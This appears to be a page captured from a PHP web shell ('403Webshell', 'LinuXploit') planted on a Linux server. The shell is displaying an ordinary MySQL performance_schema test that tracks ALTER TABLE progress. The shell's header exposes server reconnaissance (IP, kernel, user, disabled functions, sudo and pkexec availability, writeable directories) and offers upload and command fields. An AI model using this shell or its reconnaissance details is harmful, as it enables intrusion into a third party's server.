403Webshell
Server IP : 104.21.38.3  /  Your IP : 172.68.164.60
Web Server : Apache
System : Linux krdc-ubuntu-s-2vcpu-4gb-amd-blr1-01.localdomain 5.15.0-142-generic #152-Ubuntu SMP Mon May 19 10:54:31 UTC 2025 x86_64
User : www ( 1000)
PHP Version : 7.4.33
Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /www/server/mysql/src/mysql-test/suite/perfschema/t/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /www/server/mysql/src/mysql-test/suite/perfschema/t/alter_table_progress.test
# Tests for PERFORMANCE_SCHEMA

--source include/not_embedded.inc
--source include/have_perfschema.inc
--source include/have_debug.inc
--source include/have_debug_sync.inc

# Presence of the query cache changes query stages,
# causing noise in the test output
--source include/have_query_cache_disabled.inc

# Setup

connect (con1, localhost, root, , );

let $con1_THREAD_ID=`select thread_id from performance_schema.threads
  where PROCESSLIST_ID = connection_id()`;

--disable_warnings
drop table if exists t1;
--enable_warnings

create table t1(a int) engine = myisam;

insert into t1 values (1), (2), (3), (4), (5);

--connection default

update performance_schema.threads
  set instrumented = 'NO'
  where processlist_id = connection_id();

truncate table performance_schema.events_statements_history_long;
truncate table performance_schema.events_stages_history_long;

--disable_query_log
eval select $con1_THREAD_ID into @con1_thread_id;
--enable_query_log

--connection con1

# ALTER TABLE statement to inspect,
# execution should instrument progress

SET DEBUG_SYNC='RESET';
SET DEBUG_SYNC='copy_data_between_tables_before SIGNAL found_row WAIT_FOR wait_row EXECUTE 5';
--send ALTER TABLE t1 engine = innodb;

--connection default

SET DEBUG_SYNC='now WAIT_FOR found_row';

# Find the statement id of the ALTER TABLE
select event_id from performance_schema.events_statements_current
  where thread_id = @con1_thread_id into @con1_stmt_id;

# completed 0
select EVENT_NAME, WORK_COMPLETED, WORK_ESTIMATED
  from performance_schema.events_stages_current
  where (thread_id = @con1_thread_id);

SET DEBUG_SYNC='now SIGNAL wait_row';

#======

SET DEBUG_SYNC='now WAIT_FOR found_row';

# completed 1
select EVENT_NAME, WORK_COMPLETED, WORK_ESTIMATED
  from performance_schema.events_stages_current
  where (thread_id = @con1_thread_id);

SET DEBUG_SYNC='now SIGNAL wait_row';

#======

SET DEBUG_SYNC='now WAIT_FOR found_row';

# completed 2
select EVENT_NAME, WORK_COMPLETED, WORK_ESTIMATED
  from performance_schema.events_stages_current
  where (thread_id = @con1_thread_id);

SET DEBUG_SYNC='now SIGNAL wait_row';

#======

SET DEBUG_SYNC='now WAIT_FOR found_row';

# completed 3
select EVENT_NAME, WORK_COMPLETED, WORK_ESTIMATED
  from performance_schema.events_stages_current
  where (thread_id = @con1_thread_id);

SET DEBUG_SYNC='now SIGNAL wait_row';

#======

SET DEBUG_SYNC='now WAIT_FOR found_row';

# completed 4
select EVENT_NAME, WORK_COMPLETED, WORK_ESTIMATED
  from performance_schema.events_stages_current
  where (thread_id = @con1_thread_id);

SET DEBUG_SYNC='now SIGNAL wait_row';

#======

--connection con1

# Complete the ALTER TABLE statement.
--reap

# Make sure the ALTER TABLE cleanup is executed,
# as the last stages are after writing back to the client,
# and done asynchronously from the last 'reap'.
select "After payload";

--connection default

--echo Dumping ALTER TABLE stages

# Print all stages for this ALTER TABLE statement
select EVENT_NAME, WORK_COMPLETED, WORK_ESTIMATED
  from performance_schema.events_stages_history_long
  where (thread_id = @con1_thread_id)
  and (nesting_event_id = @con1_stmt_id)
  order by thread_id, event_id;

SET DEBUG_SYNC='RESET';

--connection con1

drop table t1;

--disconnect con1

--connection default

update performance_schema.threads
  set instrumented = 'YES'
  where processlist_id = connection_id();


Youez - 2016 - github.com/yon3zu
LinuXploit